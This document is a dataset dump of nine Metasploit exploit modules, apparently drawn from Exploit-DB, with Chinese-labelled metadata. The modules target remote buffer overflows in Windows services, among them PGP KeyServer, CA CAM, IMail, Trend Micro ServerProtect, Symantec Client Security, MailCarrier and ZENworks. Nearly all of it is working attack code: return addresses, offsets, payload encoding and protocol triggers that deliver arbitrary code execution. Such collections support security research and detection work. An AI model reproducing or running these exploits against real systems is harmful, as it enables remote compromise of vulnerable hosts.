QLWD/code_shield huggingface dataset:
标题: Network Associates PGP KeyServer 7 - LDAP Buffer Overflow (Metasploit) EDB-ID: 16823 CVE: 2001-1320 类型: REMOTE 平台: WINDOWS 发布日期: 2010-11-14 漏洞利用脚本: ##
# $Id: pgp_keyserver7.rb 11039 2010-11-14 19:03:24Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = GoodRanking

 include Msf::Exploit::Remote::Tcp
 include Msf::Exploit::Remote::Egghunter

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Network Associates PGP KeyServer 7 LDAP Buffer Overflow',
   'Description'    => %q{
     This module exploits a stack buffer overflow in the LDAP service that is
     part of the NAI PGP Enterprise product suite. This module was tested
     against PGP KeyServer v7.0. Due to space restrictions, egghunter is
     used to find our payload - therefore you may wish to adjust WfsDelay.
   },
   'Author'         => [ 'patrick' ],
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision: 11039 $',
   'References'     =>
    [
     [ 'CVE', '2001-1320' ],
     [ 'OSVDB', '4742' ],
     [ 'BID', '3046' ],
     [ 'URL', 'http://www.ee.oulu.fi/research/ouspg/protos/testing/c06/ldapv3/' ],
    ],
   'Privileged'     => true,
   'Payload'        =>
    {
     'Space'    => 450,
     'BadChars' => "\x00\x0a\x0d\x20",
     'StackAdjustment' => -3500,
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     ["Universal PGPcertd.exe", { 'Ret' => 0x00436b23 }], # push esp; ret PGPcertd.exe - patrick tested ok 2k/xp
    ],
   'DisclosureDate' => 'Jul 16 2001',
   'DefaultTarget' => 0))

  register_options(
   [
    Opt::RPORT(389)
   ], self.class)
 end

 def exploit
  connect

  # - Maximum payload space is 102 so we use EggHunter instead.
  # - The PAYLOAD is put inside an invalid, rejected (but hunt-able) request.

  hunter = generate_egghunter(payload.encoded, payload_badchars, { :checksum => true })
  egg = hunter[1]

  eggstart = "\x30\x82\x01\xd9\x02\x01\x01\x60\x82\x01\xd2\x02\x01\x03\x04\x82\x01\xc9" # ldapsearch sniff
  eggend = "\x80\x00"

  print_status("Sending trigger and hunter first...")

  buf = "\x30\xfe\x02\x01\x01\x63\x20\x04\x00\x0a\x01\x02\x0a\x01\x00\x02\x01\x00" # PROTOS suite sniff
  buf << [target['Ret']].pack('V') + hunter[0]
  buf << "\x00"

  sock.put(buf)

  disconnect

  connect

  print_status("Sending hunted payload...")
  sock.put(eggstart+egg+eggend)

  handler
  disconnect
 end

end URL: https://www.exploit-db.com/exploits/16823
标题: CA CAM (Windows x86) - 'log_security()' Remote Stack Buffer Overflow (Metasploit) EDB-ID: 16825 CVE: 2005-2668 类型: REMOTE 平台: WINDOWS_X86 发布日期: 2010-09-20 漏洞利用脚本: ##
# $Id: cam_log_security.rb 10394 2010-09-20 08:06:27Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = GreatRanking

 include Msf::Exploit::Remote::Tcp

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'CA CAM log_security() Stack Buffer Overflow (Win32)',
   'Description'    => %q{
     This module exploits a vulnerability in the CA CAM service
    by passing a long parameter to the log_security() function.
    The CAM service is part of TNG Unicenter. This module has
    been tested on Unicenter v3.1.
   },
   'Author'         => [ 'hdm' ],
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision: 10394 $',
   'References'     =>
    [
     ['CVE', '2005-2668'],
     ['OSVDB', '18916'],
     ['BID', '14622'],
    ],
   'Privileged'     => true,
   'Payload'        =>
    {
     'Space'    => 1024,
     'BadChars' => "\x00",
     'StackAdjustment' => -3500,
    },
   'Targets'        =>
    [
     # W2API.DLL @ 0x01950000 - return to ESI
     ['W2API.DLL TNG 2.3',  { 'Platform' => 'win', 'Ret' => 0x01951107 }],

     # Return to ESI in ws2help.dll
     ['Windows 2000 SP0-SP4 English', { 'Platform' => 'win', 'Ret' => 0x750217ae }],
     ['Windows XP SP0-SP1 English',   { 'Platform' => 'win', 'Ret' => 0x71aa16e5 }],
     ['Windows XP SP2 English',       { 'Platform' => 'win', 'Ret' => 0x71aa1b22 }],
     ['Windows 2003 SP0 English',     { 'Platform' => 'win', 'Ret' => 0x71bf175f }],
    ],
   'DisclosureDate' => 'Aug 22 2005',
   'DefaultTarget' => 0))
 end


 def check
  connect
  ack = sock.get_once
  disconnect

  (ack == "ACK\x00") ? Exploit::CheckCode::Detected : Exploit::CheckCode::Safe
 end

 def exploit
  connect

  ack = sock.get_once
  if (ack != "ACK\x00")
   print_status("The CAM service is not responding")
  end

  buf = rand_text_english(4096, payload_badchars)

  # Offset 1016 for EIP, 1024 = ESP, 1052 = ESI
  buf[ 1016, 4 ] = [target.ret].pack('V')
  buf[ 1052, payload.encoded.length ] = payload.encoded

  sock.put("\xfa\xf9\x00\x10" + buf + "\x00")

  handler
  disconnect
 end

end URL: https://www.exploit-db.com/exploits/16825
标题: IPSwitch IMail LDAP Daemon/Service - Remote Buffer Overflow (Metasploit) EDB-ID: 16824 CVE: 2004-0297 类型: REMOTE 平台: WINDOWS 发布日期: 2010-04-30 漏洞利用脚本: ##
# $Id: imail_thc.rb 9179 2010-04-30 08:40:19Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = AverageRanking

 include Msf::Exploit::Remote::Tcp

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'IMail LDAP Service Buffer Overflow',
   'Description'    => %q{
     This exploits a buffer overflow in the LDAP service that is
    part of the IMail product. This module was tested against
    version 7.10 and 8.5, both running on Windows 2000.
   },
   'Author'         => [ 'hdm' ],
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision: 9179 $',
   'References'     =>
    [
     [ 'CVE', '2004-0297'],
     [ 'OSVDB', '3984'],
     [ 'BID', '9682'],
     [ 'URL', 'http://secunia.com/advisories/10880/'],
    ],
   'Privileged'     => false,
   'Payload'        =>
    {
     'Space'    => 1024,
     'BadChars' => "\x00\x0a\x0d\x20",
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     ["Windows 2000 English",   { 'Ret' => 0x75023386 }],
     ["Windows 2000 IMail 8.x", { 'Ret' => 0x1002a619 }],
    ],
   'DisclosureDate' => 'Feb 17 2004',
   'DefaultTarget' => 0))

  register_options(
   [
    Opt::RPORT(389)
   ], self.class)
 end

 def exploit
  connect

  buf = "\x30\x82\x0a\x3d\x02\x01\x01\x60\x82\x01\x36\x02\xff\xff\xff\xff\x20"
  buf << "\xcc" * 5000

  # Universal exploit, targets 6.x, 7.x, and 8.x at once ;)
  # Thanks for johnny cyberpunk for 6/7 vs 8 diffs

  buf[77, 4] = "\xeb\x06"
  buf[81, 4] = [target.ret].pack('V') # 6.x, 7.x
  buf[85, 4] = "\xeb\x06"
  buf[89, 4] = [target.ret].pack('V') # 8.x
  buf[93, payload.encoded.length] = payload.encoded

  sock.put(buf)

  handler
  disconnect
 end

end URL: https://www.exploit-db.com/exploits/16824
标题: Trend Micro ServerProtect 5.58 - 'EarthAgent.exe' Remote Buffer Overflow (Metasploit) EDB-ID: 16829 CVE: 2007-2508 类型: REMOTE 平台: WINDOWS 发布日期: 2010-04-30 漏洞利用脚本: ##
# $Id: trendmicro_serverprotect_earthagent.rb 9179 2010-04-30 08:40:19Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = GoodRanking

 include Msf::Exploit::Remote::DCERPC

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Trend Micro ServerProtect 5.58 EarthAgent.EXE Buffer Overflow',
   'Description'    => %q{
     This module exploits a buffer overflow in Trend Micro ServerProtect 5.58 Build 1060
    EarthAgent.EXE. By sending a specially crafted RPC request, an attacker could overflow the
    buffer and execute arbitrary code.
   },
   'Author'         => [ 'MC' ],
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision: 9179 $',
   'References'     =>
    [
     ['CVE', '2007-2508'],
     ['OSVDB', '35789'],
     ['BID', '23866'],
    ],
   'Privileged'     => true,
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'thread',
    },
   'Payload'        =>
    {
     'Space'    => 800,
     'BadChars' => "\x00",
     'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     [ 'Trend Micro ServerProtect 5.58 Build 1060', { 'Ret' => 0x605e3c2f } ], # pop esi; pop ebx; ret / agentclient.dll
    ],
   'DefaultTarget'  => 0,
   'DisclosureDate' => 'May 7 2007'))

  register_options( [ Opt::RPORT(3628) ], self.class )
 end

 def exploit
  connect
  handle = dcerpc_handle('25288888-bd5b-11d1-9d53-0080c83a5c2c', '1.0', 'ncacn_ip_tcp', [datastore['RPORT']])
  print_status("Binding to #{handle} ...")

  dcerpc_bind(handle)
  print_status("Bound to #{handle} ...")

  filler =  rand_text_english(680) + Rex::Arch::X86.jmp_short(6)
  filler << make_nops(2) + [target.ret].pack('V') + payload.encoded

  len  = filler.length

  sploit = NDR.long(0x001f0014) + NDR.long(len) + filler + NDR.long(len)

  print_status("Trying target #{target.name}...")

  begin
   dcerpc_call(0, sploit)
  rescue Rex::Proto::DCERPC::Exceptions::NoResponse
  end

  handler
  disconnect
 end

end URL: https://www.exploit-db.com/exploits/16829
标题: Symantec Remote Management - Remote Buffer Overflow (Metasploit) EDB-ID: 16830 CVE: 2006-2630 类型: REMOTE 平台: WINDOWS 发布日期: 2010-05-09 漏洞利用脚本: ##
# $Id: symantec_rtvscan.rb 9262 2010-05-09 17:45:00Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = GoodRanking

 include Msf::Exploit::Remote::Tcp

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Symantec Remote Management Buffer Overflow',
   'Description'    => %q{
     This module exploits a stack buffer overflow in Symantec Client Security 3.0.x.
    This module has only been tested against Symantec Client Security 3.0.2
    build 10.0.2.2000.
   },
   'Author'         => [ 'MC' ],
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision: 9262 $',
   'References'     =>
    [
     ['CVE', '2006-2630'],
     ['OSVDB', '25846'],
     ['BID', '18107'],
     ['URL', 'http://research.eeye.com/html/advisories/published/AD20060612.html'],
    ],
   'Privileged'     => true,

   'DefaultOptions' =>
    {
     'EXITFUNC' => 'thread',
    },
   'Payload'        =>
    {
     'Space'    => 500,
     'BadChars' => "\x00",
     'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     [ 'SCS 3.0.2 build 10.0.2.2000', { 'Ret' => 0x69985624 } ], # Dec2TAR.dll
    ],
   'DefaultTarget' => 0,
   'DisclosureDate' => 'May 24 2006'))

  register_options(
   [
    Opt::RPORT(2967)
   ], self.class)
 end

 def exploit
  connect

  header =  "\x01\x10\x0a\x20\x0a\x00\x00\x00"
  header << "\x02\x18\x00\x01\x00\x00\x00\x00"
  header << "\x00\x24\x00\x14\xb7\xc9\xd2\xd9"
  header << "\x3e\x33\xef\x34\x25\x1f\x43\x00"

  crufta =  rand_text_alphanumeric(512)
  cruftb =  rand_text_alphanumeric(514)
  cruftc =  payload.encoded + rand_text_alphanumeric(513 - payload.encoded.length)
  cruftd =  rand_text_alphanumeric(495)

  cruftd[479, 2] = "\xeb\x06"
  cruftd[483, 4] = [target.ret].pack('V')
  cruftd[487, 5] = [0xe8, -1000].pack('CV')

  cruftd << rand_text_alphanumeric(21)
  crufte =  rand_text_alphanumeric(6) + "\x19\x00\x00\x00"
  crufte << rand_text_alphanumeric(504) + "\x00\x00"

  overflow =  [ crufta.length ].pack('v') + crufta
  overflow << [ cruftb.length ].pack('v') + cruftb
  overflow << [ cruftc.length ].pack('v') + cruftc
  overflow << [ cruftd.length ].pack('v') + cruftd
  overflow << [ crufte.length ].pack('v') + crufte

  sploit = header + overflow

  print_status("Trying target #{target.name}...")
  sock.put(sploit)

  handler
  disconnect
 end

end URL: https://www.exploit-db.com/exploits/16830
标题: Trend Micro ServerProtect 5.58 - Remote Buffer Overflow (Metasploit) EDB-ID: 16827 CVE: 2007-1070 类型: REMOTE 平台: WINDOWS 发布日期: 2010-04-30 漏洞利用脚本: ##
# $Id: trendmicro_serverprotect.rb 9179 2010-04-30 08:40:19Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = GoodRanking

 include Msf::Exploit::Remote::DCERPC

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Trend Micro ServerProtect 5.58 Buffer Overflow',
   'Description'    => %q{
     This module exploits a buffer overflow in Trend Micro ServerProtect 5.58 Build 1060.
    By sending a specially crafted RPC request, an attacker could overflow the
    buffer and execute arbitrary code.
   },
   'Author'         => [ 'MC' ],
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision: 9179 $',
   'References'     =>
    [
     ['CVE', '2007-1070'],
     ['OSVDB', '33042'],
     ['BID', '22639'],
    ],
   'Privileged'     => true,
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'thread',
    },
   'Payload'        =>
    {
     'Space'    => 800,
     'BadChars' => "\x00",
     'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     [ 'Trend Micro ServerProtect 5.58 Build 1060', { 'Ret' => 0x6563124c } ], # CALL EBX - StCommon.dll
    ],
   'DefaultTarget'  => 0,
   'DisclosureDate' => 'Feb 20 2007'))

  register_options( [ Opt::RPORT(5168) ], self.class )
 end

 def exploit
  connect
  handle = dcerpc_handle('25288888-bd5b-11d1-9d53-0080c83a5c2c', '1.0', 'ncacn_ip_tcp', [datastore['RPORT']])
  print_status("Binding to #{handle} ...")

  dcerpc_bind(handle)
  print_status("Bound to #{handle} ...")

  filler =  payload.encoded + rand_text_english(1600 - payload.encoded.length) + [target.ret].pack('V')

  len    = filler.length

  # CMON_NetTestConnection
  sploit =  NDR.long(0x000a0017) + NDR.long(len) + filler + NDR.long(0)

  print_status("Trying target #{target.name}...")

  begin
   dcerpc_call(0, sploit)
  rescue Rex::Proto::DCERPC::Exceptions::NoResponse
  end

  handler
  disconnect
 end

end URL: https://www.exploit-db.com/exploits/16827
标题: Trend Micro ServerProtect 5.58 - 'CreateBinding()' Remote Buffer Overflow (Metasploit) EDB-ID: 16828 CVE: 2007-2508 类型: REMOTE 平台: WINDOWS 发布日期: 2010-04-30 漏洞利用脚本: ##
# $Id: trendmicro_serverprotect_createbinding.rb 9179 2010-04-30 08:40:19Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = GoodRanking

 include Msf::Exploit::Remote::DCERPC

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Trend Micro ServerProtect 5.58 CreateBinding() Buffer Overflow',
   'Description'    => %q{
     This module exploits a buffer overflow in Trend Micro ServerProtect 5.58 Build 1060.
    By sending a specially crafted RPC request, an attacker could overflow the
    buffer and execute arbitrary code.
   },
   'Author'         => [ 'MC' ],
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision: 9179 $',
   'References'     =>
    [
     ['CVE', '2007-2508'],
     ['OSVDB', '35790'],
     ['BID', '23868'],
    ],
   'Privileged'     => true,
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'thread',
    },
   'Payload'        =>
    {
     'Space'    => 800,
     'BadChars' => "\x00",
     'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     [ 'Trend Micro ServerProtect 5.58 Build 1060', { 'Ret' => 0x65675aa8 } ], # pop esi; pop ecx; ret - StRpcSrv.dll
    ],
   'DefaultTarget'  => 0,
   'DisclosureDate' => 'May 7 2007'))

  register_options( [ Opt::RPORT(5168) ], self.class )
 end

 def exploit
  connect
  handle = dcerpc_handle('25288888-bd5b-11d1-9d53-0080c83a5c2c', '1.0', 'ncacn_ip_tcp', [datastore['RPORT']])
  print_status("Binding to #{handle} ...")

  dcerpc_bind(handle)
  print_status("Bound to #{handle} ...")

  filler =  rand_text_alpha(360) + Rex::Arch::X86.jmp_short(6) + make_nops(2)
  filler << [target.ret].pack('V') + payload.encoded
  filler << rand_text_english(1400 - payload.encoded.length)

  len    = filler.length

  sploit = NDR.long(0x001f0002) + NDR.long(len) + filler + NDR.long(len)

  print_status("Trying target #{target.name}...")

  begin
   dcerpc_call(0, sploit)
  rescue Rex::Proto::DCERPC::Exceptions::NoResponse
  end

  handler
  disconnect
 end

end URL: https://www.exploit-db.com/exploits/16828
标题: TABS MailCarrier 2.51 - SMTP EHLO Overflow (Metasploit) EDB-ID: 16822 CVE: 2004-1638 类型: REMOTE 平台: WINDOWS 发布日期: 2010-04-30 漏洞利用脚本: ##
# $Id: mailcarrier_smtp_ehlo.rb 9179 2010-04-30 08:40:19Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote
 Rank = GoodRanking

 include Msf::Exploit::Remote::Tcp

 def initialize(info = {})
  super(update_info(info,
   'Name'  => 'TABS MailCarrier v2.51 SMTP EHLO Overflow',
   'Description' => %q{
     This module exploits the MailCarrier v2.51 suite SMTP service.
    The stack is overwritten when sending an overly long EHLO command.
   },
   'Author'      => [ 'Patrick Webster <patrick[at]aushack.com>' ],
   'License'       => MSF_LICENSE,
   'Version'       => '$Revision: 9179 $',
   'References'    =>
   [
    [ 'CVE', '2004-1638' ],
    [ 'OSVDB', '11174' ],
    [ 'BID', '11535' ],
    [ 'URL', 'http://milw0rm.com/exploits/598' ],
   ],
   'Platform'      => ['win'],
   'Arch'      => [ ARCH_X86 ],
   'Privileged'  => true,
   'DefaultOptions' =>
    {
     'EXITFUNC'  => 'thread',
    },
   'Payload' =>
    {
     'Space'   => 300,
     'BadChars'   => "\x00\x0a\x0d:",
     'StackAdjustment' => -3500,
    },
   'Targets' =>
    [
     # Patrick - Tested OK 2007/08/05 : w2ksp0, w2ksp4, xpsp0, xpsp2 en.
     [ 'Windows 2000 SP0 - XP SP1 - EN/FR/GR', { 'Ret' => 0x0fa14c63 } ], # jmp esp expsrv.dll w2ksp0 - xpsp1
     [ 'Windows XP SP2 - EN',     { 'Ret' => 0x0fa14ccf } ], # jmp esp expsrv.dll xpsp2 en
    ],
   'DisclosureDate' => 'Oct 26 2004',
   'DefaultTarget' => 0))

  register_options(
   [
    Opt::RPORT(25),
    Opt::LHOST(), # Required for stack offset
   ], self.class)
 end

 def check
  connect
  banner = sock.get_once(-1,3)
  disconnect

  if (banner =~ /ESMTP TABS Mail Server for Windows NT/)
   return Exploit::CheckCode::Appears
  end
  return Exploit::CheckCode::Safe
 end

 def exploit
  connect

  sploit = "EHLO " + rand_text_alphanumeric(5106 - datastore['LHOST'].length, payload_badchars)
  sploit << [target['Ret']].pack('V') + payload.encoded

  sock.put(sploit + "\r\n")

  handler
  disconnect
 end

end URL: https://www.exploit-db.com/exploits/16822
标题: Novell ZENworks 6.5 - Desktop/Server Management Overflow (Metasploit) EDB-ID: 16815 CVE: 2005-1543 类型: REMOTE 平台: WINDOWS 发布日期: 2010-07-25 漏洞利用脚本: ##
# $Id: zenworks_desktop_agent.rb 9929 2010-07-25 21:37:54Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = GoodRanking

 include Msf::Exploit::Remote::Tcp

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Novell ZENworks 6.5 Desktop/Server Management Overflow',
   'Description'    => %q{
     This module exploits a heap overflow in the Novell ZENworks
    Desktop Management agent. This vulnerability was discovered
    by Alex Wheeler.
   },
   'Author'         => [ 'anonymous' ],
   'License'        => BSD_LICENSE,
   'Version'        => '$Revision: 9929 $',
   'References'     =>
    [
     [ 'CVE', '2005-1543'],
     [ 'OSVDB', '16698'],
     [ 'BID', '13678'],

    ],
   'Privileged'     => true,
   'Payload'        =>
    {
     'Space'    => 32767,
     'BadChars' => "\x00",
     'StackAdjustment' => -3500,
    },
   'Targets'        =>
    [
     [
      'Windows XP/2000/2003- ZENworks 6.5 Desktop/Server Agent',
      {
       'Platform' => 'win',
       'Ret'      => 0x10002e06,
      },
     ],
    ],
   'DisclosureDate' => 'May 19 2005',
   'DefaultTarget' => 0))
 end

 def exploit
  connect

  hello = "\x00\x06\x05\x01\x10\xe6\x01\x00\x34\x5a\xf4\x77\x80\x95\xf8\x77"
  print_status("Sending version identification")
  sock.put(hello)

  pad   = Rex::Text.rand_text_alphanumeric(6, payload_badchars)
  ident = sock.get_once
  if !(ident and ident.length == 16)
   print_error("Failed to receive agent version identification")
   return
  end

  print_status("Received agent version identification")
  print_status("Sending client acknowledgement")
  sock.put("\x00\x01")

  # Stack buffer overflow in ZenRem32.exe / ZENworks Server Management
  sock.put("\x00\x06#{pad}\x00\x06#{pad}\x7f\xff" + payload.encoded + "\x00\x01")

  ack = sock.get_once
  sock.put("\x00\x01")
  sock.put("\x00\x02")

  print_status("Sending final payload")
  sock.put("\x00\x24" + ("A" * 0x20) + [ target.ret ].pack('V'))

  print_status("Overflow request sent, sleeping for four seconds")
  select(nil,nil,nil,4)

  handler
  disconnect
 end

end URL: https://www.exploit-db.com/exploits/16815